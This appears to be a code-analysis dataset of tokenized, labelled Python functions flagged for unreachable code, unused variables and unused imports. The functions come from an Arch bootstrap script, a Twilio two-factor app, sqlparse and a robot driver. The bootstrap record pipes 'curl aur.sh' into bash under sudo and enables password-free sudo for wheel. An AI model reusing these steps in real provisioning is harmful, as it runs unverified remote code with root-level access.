"content": "def bootstrap():\n \"\"\"\n Bootstrap Arch Linux.\n\n Only the bare essentials, the configurator will take care of the rest.\n \"\"\"\n validate_configurator_version()\n\n # upgrade pacakges\n run(\"pacman --noconfirm -Syu\")\n\n # install essential packages\n run(\"pacman --noconfirm -S base-devel\")\n run(\"pacman --noconfirm -S curl git rsync\")\n\n # create a user, named 'aur', to safely install AUR packages under fakeroot\n # uid and gid values auto increment from 1000\n # to prevent conficts set the 'aur' user's gid and uid to 902\n run(\"groupadd -g 902 aur && useradd -m -u 902 -g 902 -G wheel aur\")\n\n # allow users in the wheel group to sudo without a password\n # so that the aur user can be scripted to install yaourt\n uncomment(\"/etc/sudoers\", \"wheel.*NOPASSWD\")\n\n # install yaourt\n sudo(\"rm -rf /home/aur/.builds && mkdir /home/aur/.builds/\", user=\"aur\")\n with cd(\"/home/aur/.builds/\"):\n sudo(\"bash <(curl aur.sh) -si --noconfirm package-query yaourt\", user=\"aur\")\n\n # set locale and server timezone\n run(\"localectl set-locale LANG='en_US.utf8'\")\n run(\"timedatectl set-timezone US/Central\")\n\n # reboot for kernel upgrade\n print(yellow(\"rebooting.\"))\n sudo(\"reboot\")\n while True:\n time.sleep(1)\n run(\"date\")\n print(green(\"rebooted!\"))",
"metadata": "root.bootstrap",
"header": "['module', '___EOS___']",
"index": 34
}
]
| [
{
"span": "print(green(\"rebooted!\"))",
"start_line": 73,
"start_column": 4,
"end_line": 73,
"end_column": 29
}
]
| []
| 1 | true | [
"[CLS]_",
"Unrea",
"chab",
"le_",
"code_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"bootstrap_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Boots",
"trap",
" ",
"Arch",
" ",
"Lin",
"ux",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"On",
"ly",
" ",
"the",
" ",
"bare",
" ",
"essential",
"s",
",",
" ",
"the",
" ",
"configurator",
" ",
"will",
" ",
"take",
" ",
"care",
" ",
"of",
" ",
"the",
" ",
"rest",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"validat",
"e\\u",
"configurator",
"\\u",
"version_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"upgrade",
" ",
"pac",
"ak",
"ges_",
"\\u\\u\\uNL\\u\\u\\u_",
"run_",
"(_",
"\"",
"pac",
"man",
" ",
"--",
"noco",
"nfi",
"rm",
" ",
"-",
"Sy",
"u",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"install",
" ",
"essential",
" ",
"packages_",
"\\u\\u\\uNL\\u\\u\\u_",
"run_",
"(_",
"\"",
"pac",
"man",
" ",
"--",
"noco",
"nfi",
"rm",
" ",
"-",
"S",
" ",
"base",
"-",
"deve",
"l",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"run_",
"(_",
"\"",
"pac",
"man",
" ",
"--",
"noco",
"nfi",
"rm",
" ",
"-",
"S",
" ",
"curl",
" ",
"git",
" ",
"rsync",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"create",
" ",
"a",
" ",
"user",
",",
" ",
"named",
" ",
"'",
"aur",
"',",
" ",
"to",
" ",
"safe",
"ly",
" ",
"install",
" ",
"AU",
"R",
" ",
"package",
"s",
" ",
"under",
" ",
"faker",
"oot_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"uid",
" ",
"and",
" ",
"gid",
" ",
"values",
" ",
"auto",
" ",
"increment",
" ",
"from",
" ",
"1000_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"to",
" ",
"prevent",
" ",
"confi",
"ct",
"s",
" ",
"set",
" ",
"the",
" ",
"'",
"aur",
"'",
" ",
"user",
"'",
"s",
" ",
"gid",
" ",
"and",
" ",
"uid",
" ",
"to",
" ",
"902",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"run_",
"(_",
"\"",
"group",
"add",
" ",
"-",
"g",
" ",
"902",
" ",
"aur",
" ",
"&&",
" ",
"usera",
"dd",
" ",
"-",
"m",
" ",
"-",
"u",
" ",
"902",
" ",
"-",
"g",
" ",
"902",
" ",
"-",
"G",
" ",
"wheel",
" ",
"aur",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"allow",
" ",
"users",
" ",
"in",
" ",
"the",
" ",
"wheel",
" ",
"group",
" ",
"to",
" ",
"sudo",
" ",
"with",
"out",
" ",
"a",
" ",
"password_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"so",
" ",
"tha",
"t",
" ",
"the",
" ",
"aur",
" ",
"user",
" ",
"can",
" ",
"be",
" ",
"script",
"ed",
" ",
"to",
" ",
"install",
" ",
"ya",
"our",
"t_",
"\\u\\u\\uNL\\u\\u\\u_",
"uncomm",
"ent_",
"(_",
"\"/",
"etc",
"/",
"sudo",
"ers",
"\"_",
",_",
"\"",
"wheel",
".*",
"NOP",
"ASS",
"WD",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"install",
" ",
"ya",
"our",
"t_",
"\\u\\u\\uNL\\u\\u\\u_",
"sudo_",
"(_",
"\"",
"rm",
" ",
"-",
"rf",
" ",
"/",
"home",
"/",
"aur",
"/.",
"builds",
" ",
"&&",
" ",
"mkd",
"ir",
" ",
"/",
"home",
"/",
"aur",
"/.",
"builds",
"/\"_",
",_",
"user_",
"=_",
"\"",
"aur",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"cd_",
"(_",
"\"/",
"home",
"/",
"aur",
"/.",
"builds",
"/\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"sudo_",
"(_",
"\"",
"bash",
" ",
"<",
"(",
"curl",
" ",
"aur",
".",
"sh",
")",
" ",
"-",
"si",
" ",
"--",
"noco",
"nfi",
"rm",
" ",
"package",
"-",
"query",
" ",
"ya",
"our",
"t",
"\"_",
",_",
"user_",
"=_",
"\"",
"aur",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"set",
" ",
"locale",
" ",
"and",
" ",
"server",
" ",
"timezone_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"run_",
"(_",
"\"",
"locale",
"ctl",
" ",
"set",
"-",
"locale",
" ",
"LANG",
"='",
"en",
"\\u",
"US",
".",
"utf",
"8",
"'\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"run_",
"(_",
"\"",
"timed",
"ate",
"ctl",
" ",
"set",
"-",
"timezon",
"e",
" ",
"US",
"/",
"Cent",
"ral",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"rebo",
"ot",
" ",
"for",
" ",
"kernel",
" ",
"upgrade_",
"\\u\\u\\uNL\\u\\u\\u_",
"print_",
"(_",
"yellow_",
"(_",
"\"",
"rebo",
"oti",
"ng",
".\"_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sudo_",
"(_",
"\"",
"rebo",
"ot",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"time_",
"._",
"sleep_",
"(_",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"run_",
"(_",
"\"",
"date",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"print_",
"(_",
"green_",
"(_",
"\"",
"rebo",
"ote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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Unused local variable | abdesslem/two_factor_auth/app.py | [
{
"content": "def sendToken(username, token):\n user = User.query.filter_by(username=username).first()\n client = TwilioRestClient()\n if user.method == 'SMS':\n try:\n message = client.messages.create(\n body=\"Your token is:\" + str(token), # Use the token to complete login\n to=user.phone,\n from_= app.config['PHONE_NUMBER'],\n )\n\t flash('Token sent with success !!')\n\texcept twilio.TwilioRestException as e:\n print e\n\t flash(u'Error while sending the token', 'error')\n elif user.method == 'Voice':\n try:\n call = client.calls.create(to=user.phone, from_=app.config['PHONE_NUMBER'],\n url=\"http://twimlets.com/message?Message%5B0%5D=Your%20token%20is%20\"+str(token)+\"&\")\n flash('Token sent with success !!')\n except twilio.TwilioRestException as e:\n \t\tprint e\n\t\tflash(u'Error while sending the token', 'error')",
"metadata": "root.sendToken",
"header": "['module', '___EOS___']",
"index": 27
}
]
| [
{
"span": "message ",
"start_line": 32,
"start_column": 12,
"end_line": 32,
"end_column": 19
},
{
"span": "call ",
"start_line": 43,
"start_column": 16,
"end_line": 43,
"end_column": 20
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"send",
"Token_",
"(_",
"username_",
",_",
"token_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user_",
"=_",
"User_",
"._",
"query_",
"._",
"filter",
"\\u",
"by_",
"(_",
"username_",
"=_",
"username_",
")_",
"._",
"first_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"client_",
"=_",
"Twi",
"lio",
"Rest",
"Client_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"user_",
"._",
"method_",
"==_",
"'",
"SMS",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message_",
"=_",
"client_",
"._",
"messages_",
"._",
"create_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"body_",
"=_",
"\"",
"You",
"r",
" ",
"token",
" ",
"is",
":\"_",
"+_",
"str_",
"(_",
"token_",
")_",
",_",
"#",
" ",
"Us",
"e",
" ",
"the",
" ",
"token",
" ",
"to",
" ",
"complete",
" ",
"login_",
"\\u\\u\\uNL\\u\\u\\u_",
"to_",
"=_",
"user_",
"._",
"phone_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"from\\u_",
"=_",
"app_",
"._",
"config_",
"[_",
"'",
"PHONE",
"\\u",
"NUMB",
"ER",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flash_",
"(_",
"'",
"Token",
" ",
"sent",
" ",
"with",
" ",
"success",
" ",
"!!",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"twilio",
"_",
"._",
"Twi",
"lio",
"Rest",
"Exception_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"print_",
"e_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flash_",
"(_",
"u",
"'",
"Error",
" ",
"whi",
"le",
" ",
"sendin",
"g",
" ",
"the",
" ",
"token",
"'_",
",_",
"'",
"error",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"user_",
"._",
"method_",
"==_",
"'",
"Voic",
"e",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"call_",
"=_",
"client_",
"._",
"calls_",
"._",
"create_",
"(_",
"to_",
"=_",
"user_",
"._",
"phone_",
",_",
"from\\u_",
"=_",
"app_",
"._",
"config_",
"[_",
"'",
"PHONE",
"\\u",
"NUMB",
"ER",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"\"",
"http",
"://",
"twi",
"mle",
"ts",
".",
"com",
"/",
"message",
"?",
"Messag",
"e",
"%",
"5",
"B0",
"%",
"5",
"D",
"=",
"You",
"r",
"%",
"20",
"token",
"%",
"20",
"is",
"%",
"20",
"\"_",
"+_",
"str_",
"(_",
"token_",
")_",
"+_",
"\"&\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flash_",
"(_",
"'",
"Token",
" ",
"sent",
" ",
"with",
" ",
"success",
" ",
"!!",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"twilio",
"_",
"._",
"Twi",
"lio",
"Rest",
"Exception_",
"as_",
"e_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" \t",
"\t_",
"print_",
"e_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flash_",
"(_",
"u",
"'",
"Error",
" ",
"whi",
"le",
" ",
"sendin",
"g",
" ",
"the",
" ",
"token",
"'_",
",_",
"'",
"error",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unreachable code | andialbrecht/sqlparse/sqlparse/filters.py | [
{
"content": " def process(self, stack, group):\n return\n group.tokens = self._process(stack, group, group.tokens)",
"metadata": "root.RightMarginFilter.process",
"header": "['class', 'RightMarginFilter', ':', '___EOS___']",
"index": 508
}
]
| [
{
"span": "group.tokens = self._process(stack, group, group.tokens)",
"start_line": 510,
"start_column": 8,
"end_line": 510,
"end_column": 64
}
]
| []
| 1 | true | [
"[CLS]_",
"Unrea",
"chab",
"le_",
"code_",
"[SEP]_",
"class_",
"Rig",
"ht",
"Marg",
"in",
"Filter_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process_",
"(_",
"self_",
",_",
"stack_",
",_",
"group_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"group_",
"._",
"tokens_",
"=_",
"self_",
"._",
"\\u",
"process_",
"(_",
"stack_",
",_",
"group_",
",_",
"group_",
"._",
"tokens_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Unused local variable | airnotifier/airnotifier/controllers/base.py | [
{
"content": " @tornado.web.authenticated\n def get(self):\n records = self.masterdb.applications.find()\n self.render('stats.html', apns=self.apnsconnections)",
"metadata": "root.StatsHandler.get",
"header": "['class', 'StatsHandler', '(', 'WebBaseHandler', ')', ':', '___EOS___']",
"index": 194
}
]
| [
{
"span": "records ",
"start_line": 196,
"start_column": 8,
"end_line": 196,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"class_",
"Stat",
"s",
"Handler_",
"(_",
"Web",
"Base",
"Handler_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"@_",
"tornado_",
"._",
"web_",
"._",
"authenticated_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"get_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"records_",
"=_",
"self_",
"._",
"master",
"db_",
"._",
"applications_",
"._",
"find_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"render_",
"(_",
"'",
"stats",
".",
"html",
"'_",
",_",
"apn",
"s_",
"=_",
"self_",
"._",
"apn",
"scon",
"necti",
"ons_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused import | RobotLocomotion/director/src/python/director/atlasdriver.py | [
{
"content": "import os\nimport vtkAll as vtk\nimport math\nimport numpy as np\nfrom collections import deque\n\nfrom director import transformUtils\nfrom director import lcmUtils\nfrom director.timercallback import TimerCallback\nfrom director import objectmodel as om\nfrom director import visualization as vis\nfrom director import applogic as app\nfrom director.debugVis import DebugData\nfrom director import ioUtils\nfrom director.simpletimer import SimpleTimer\nfrom director.utime import getUtime\nimport time\n\nimport drc as lcmdrc\nimport bot_core\nimport atlas\nfrom pronto.indexed_measurement_t import indexed_measurement_t\n\n\n\n\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class SystemStatusListener(object):\n\n",
"metadata": "root.SystemStatusListener",
"header": "['module', '___EOS___']",
"index": 24
},
{
"content": " def __init__(self, outputConsole):\n self.outputConsole = outputConsole\n lcmUtils.addSubscriber('SYSTEM_STATUS', bot_core.system_status_t, self.onSystemStatus)",
"metadata": "root.SystemStatusListener.__init__",
"header": "['class', 'SystemStatusListener', '(', 'object', ')', ':', '___EOS___']",
"index": 26
},
{
"content": " def onSystemStatus(self, message):\n message = 'SYSTEM_STATUS: ' + message.value\n if self.outputConsole is not None:\n self.outputConsole.append(message)\n else:\n print message",
"metadata": "root.SystemStatusListener.onSystemStatus",
"header": "['class', 'SystemStatusListener', '(', 'object', ')', ':', '___EOS___']",
"index": 30
},
{
"content": "class AtlasDriver(object):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # State Est Init Code\n\n\n\n\n\n\n\n\n",
"metadata": "root.AtlasDriver",
"header": "['module', '___EOS___']",
"index": 38
},
{
"content": " def __init__(self):\n\n self.lastAtlasStatusMessage = None\n self.lastControllerStatusMessage = None\n self.lastAtlasBatteryDataMessage = None\n self.lastAtlasElectricArmStatusMessage = None\n self.lastControllerRateMessage = None\n self.maxPressureHistory = deque([0.0], 10)\n self.averageRecentMaxPressure = 0.0\n self._setupSubscriptions()\n self.timer = SimpleTimer()\n\n self.sentStandUtime = None\n self.startupStage = 0\n self._behaviorMap = None\n self._controllerStatusMap = None",
"metadata": "root.AtlasDriver.__init__",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 40
},
{
"content": " def _setupSubscriptions(self):\n lcmUtils.addSubscriber('PLAN_EXECUTION_STATUS', lcmdrc.plan_status_t, self.onControllerStatus)\n lcmUtils.addSubscriber('ATLAS_BATTERY_DATA', atlas.battery_data_t, self.onAtlasBatteryData)\n lcmUtils.addSubscriber('ATLAS_ELECTRIC_ARM_STATUS', atlas.electric_arm_status_t, self.onAtlasElectricArmStatus)\n lcmUtils.addSubscriber('CONTROLLER_RATE', lcmdrc.message_rate_t, self.onControllerRate)\n sub = lcmUtils.addSubscriber('ATLAS_STATUS', atlas.status_t, self.onAtlasStatus)\n sub.setSpeedLimit(60)\n sub = lcmUtils.addSubscriber('ATLAS_STATE_EXTRA', atlas.state_extra_t, self.onAtlasStateExtra)\n sub.setSpeedLimit(5)",
"metadata": "root.AtlasDriver._setupSubscriptions",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 57
},
{
"content": " def onAtlasStatus(self, message):\n self.lastAtlasStatusMessage = message",
"metadata": "root.AtlasDriver.onAtlasStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 67
},
{
"content": " def onControllerStatus(self, message):\n self.lastControllerStatusMessage = message",
"metadata": "root.AtlasDriver.onControllerStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 70
},
{
"content": " def onControllerRate(self, message):\n self.lastControllerRateMessage = message",
"metadata": "root.AtlasDriver.onControllerRate",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 73
},
{
"content": " def onAtlasBatteryData(self, message):\n self.lastAtlasBatteryDataMessage = message",
"metadata": "root.AtlasDriver.onAtlasBatteryData",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 76
},
{
"content": " def onAtlasElectricArmStatus(self, message):\n self.lastAtlasElectricArmStatusMessage = message",
"metadata": "root.AtlasDriver.onAtlasElectricArmStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 79
},
{
"content": " def onAtlasStateExtra(self, message):\n self.maxPressureHistory.append(max(np.max(message.psi_pos), np.max(message.psi_neg)))\n self.averageRecentMaxPressure = np.mean(self.maxPressureHistory)",
"metadata": "root.AtlasDriver.onAtlasStateExtra",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 82
},
{
"content": " def getBehaviorMap(self):\n '''\n Return a dict that maps behavior ids (int) to behavior names (string).\n '''\n if not self._behaviorMap:\n msg = atlas.status_t\n self._behaviorMap = {\n msg.BEHAVIOR_NONE : 'none',\n msg.BEHAVIOR_FREEZE : 'freeze',\n msg.BEHAVIOR_STAND_PREP : 'prep',\n msg.BEHAVIOR_STAND : 'stand',\n msg.BEHAVIOR_WALK : 'walk',\n msg.BEHAVIOR_STEP : 'step',\n msg.BEHAVIOR_MANIPULATE : 'manip',\n msg.BEHAVIOR_USER : 'user',\n msg.BEHAVIOR_CALIBRATE : 'calibrate',\n msg.BEHAVIOR_SOFT_STOP : 'stop',\n }\n return self._behaviorMap",
"metadata": "root.AtlasDriver.getBehaviorMap",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 86
},
{
"content": " def getControllerStatusMap(self):\n '''\n Return a dict that maps controller status ids (int) to names (string).\n '''\n if not self._controllerStatusMap:\n msg = lcmdrc.plan_status_t\n self._controllerStatusMap = {\n msg.UNKNOWN : 'unknown',\n msg.STANDING : 'standing',\n msg.WALKING : 'walking',\n msg.HARNESSED : 'harnessed',\n msg.QUASISTATIC : 'quasistatic',\n msg.BRACING : 'bracing',\n msg.CRAWLING : 'crawling',\n msg.DUMMY : 'dummy',\n msg.MANIPULATING : 'manipulating',\n msg.RECOVERING : 'recovering',\n }\n return self._controllerStatusMap",
"metadata": "root.AtlasDriver.getControllerStatusMap",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 106
},
{
"content": " def getCurrentBehaviorName(self):\n '''\n Returns the current behavior name as a string. Returns None if the\n current behavior is unknown. The current behavior is unknown if no\n atlas status messages have arrived since this class was initialized.\n The returned string is one of the behavior names in the values of\n the behavior map returned by getBehaviorMap().\n '''\n if not self.lastAtlasStatusMessage:\n return None\n\n behaviors = self.getBehaviorMap()\n behaviorId = self.lastAtlasStatusMessage.behavior\n assert behaviorId in behaviors\n return behaviors[behaviorId]",
"metadata": "root.AtlasDriver.getCurrentBehaviorName",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 126
},
{
"content": " def getControllerRate(self):\n '''\n Returns the current controller rate hz or None if no controller rate\n message has been received.\n '''\n if self.lastControllerRateMessage:\n return self.lastControllerRateMessage.rate_deci_hz / 10.0",
"metadata": "root.AtlasDriver.getControllerRate",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 142
},
{
"content": " def getControllerStatus(self):\n '''\n Returns the current controller status as a string. The possible string\n values are the values of the dict returned by getControllerStatusMap().\n None is returned if no controller status message has been received or\n the status is not among those handled by this driver.\n '''\n if not self.lastControllerStatusMessage:\n return None\n\n statusMap = self.getControllerStatusMap()\n state = self.lastControllerStatusMessage.plan_type\n assert state in statusMap\n return statusMap[state]",
"metadata": "root.AtlasDriver.getControllerStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 150
},
{
"content": " def getRecoveryEnabledStatus(self):\n if not self.lastControllerStatusMessage:\n return None\n if self.lastControllerStatusMessage.recovery_enabled:\n return \"enabled\"\n else:\n return \"disabled\"",
"metadata": "root.AtlasDriver.getRecoveryEnabledStatus",
"header": "['class', 'AtlasDriver', '(', 'object', ')', ':', '___EOS___']",
"index": 165
},
{
